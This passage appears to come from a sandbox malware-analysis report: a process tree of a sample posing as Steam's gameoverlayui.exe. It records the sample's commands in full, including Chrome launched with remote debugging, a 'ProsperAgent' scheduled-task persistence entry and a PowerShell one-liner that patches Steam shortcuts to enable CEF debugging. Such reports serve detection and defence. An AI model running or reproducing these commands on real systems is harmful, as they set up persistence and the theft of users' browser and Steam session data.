C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe.\bin\vulkandriverquery.exe4⤵
-
-
C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe"C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates4⤵
-
C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe"C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates5⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-debugging-address=127.0.0.1 --remote-allow-origins=* --no-first-run --no-default-browser-check --disable-infobars --restore-last-session --user-data-dir=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-92223⤵
- Uses browser remote debugging
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffca049c728,0x7ffca049c734,0x7ffca049c7404⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1800,i,201401249771954674,9098722181822407138,262144 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2024,i,13533810305139342610,8861269609519246340,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:34⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=2436,i,14040389111033659935,14128595223576647776,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3348,i,13501658768089207314,2356192527536450509,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3352,i,1074506864611413668,6838767600036216895,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4020,i,15538948276495726257,5028141210190549898,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=4032 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4056,i,16574999858551739512,17638129658574712358,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:24⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3532,i,14389735715970804288,13682947041122798725,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:24⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4992,i,4479029884540970373,2662602711172386704,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5136,i,4024050879578853027,14035614347922638081,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5672,i,13099031209566459662,15975085582827804939,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5784,i,11138923385081232581,14975295608798910055,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5816,i,5225302731000150847,6711609134410844573,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5972,i,10255235362810295463,15763011099970972228,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5968,i,322165868709210560,868747463113398354,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6264,i,14085192043279847091,9490642818026654433,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6276,i,13929129036955123415,10236904134373120394,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6588,i,5829662780271823043,9353905120401807422,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6160,i,57797959368592985,10811778522392458406,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6564 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5928,i,9293307711514155096,3241110462336637556,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6088,i,8117214748825447630,16999194795154457475,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6260,i,17450199952645548696,1522119022679184565,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6876,i,13667919152747905882,2151285769543335171,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5832,i,16413934975393596612,7380272343735581973,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6744,i,211164507054023776,17562369504138533477,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=3416,i,5822827986319625744,14931191627195462192,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=6192,i,4610455179519778340,9110287299937660942,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:24⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6028,i,17663670764584888317,16710183744131760151,2097152 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:24⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5724,i,1546048974888511189,10788702437771304969,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6832,i,3065666755503623805,9356718154551670208,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6780,i,4613908011627702475,85908718588227522,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6840,i,17758599576380412840,14039864358387251587,262144 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5584,i,17860294609591593364,8492073979239351980,524288 --field-trial-handle=2120,i,7088916102291116049,16714231575935294799,262144 --variations-seed-version --mojo-platform-channel-handle=1252 /prefetch:84⤵
-
-
-
-
C:\Program Files (x86)\Steam\crash_reports\gameoverlayui.exe"C:\Program Files (x86)\Steam\crash_reports\gameoverlayui.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exeschtasks /create /sc onlogon /tn ProsperAgent /tr "\"C:\Program Files (x86)\Steam\crash_reports\gameoverlayui.exe\"" /rl limited /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -shutdown2⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Steam\steamsysinfo.exe"C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1785187029 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\563A.tmp3⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=10156" "-buildid=1785187029" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"3⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1785187029 --initial-client-data=0x280,0x284,0x288,0x27c,0x28c,0x7ffc99adaea0,0x7ffc99adaeac,0x7ffc99adaeb84⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1908,i,12472927646555883721,7799635333179862466,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1932 --mojo-platform-channel-handle=1896 /prefetch:24⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2212,i,12472927646555883721,7799635333179862466,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2264 --mojo-platform-channel-handle=2260 /prefetch:34⤵
- Executes dropped EXE
- System Time Discovery
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2320,i,12472927646555883721,7799635333179862466,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2356 --mojo-platform-channel-handle=2348 /prefetch:84⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery64.exe.\bin\gldriverquery64.exe3⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\taskkill.exetaskkill /t /f /pid 28682⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\Temp\p.exe"C:\Users\Admin\AppData\Local\Temp\p.exe"1⤵
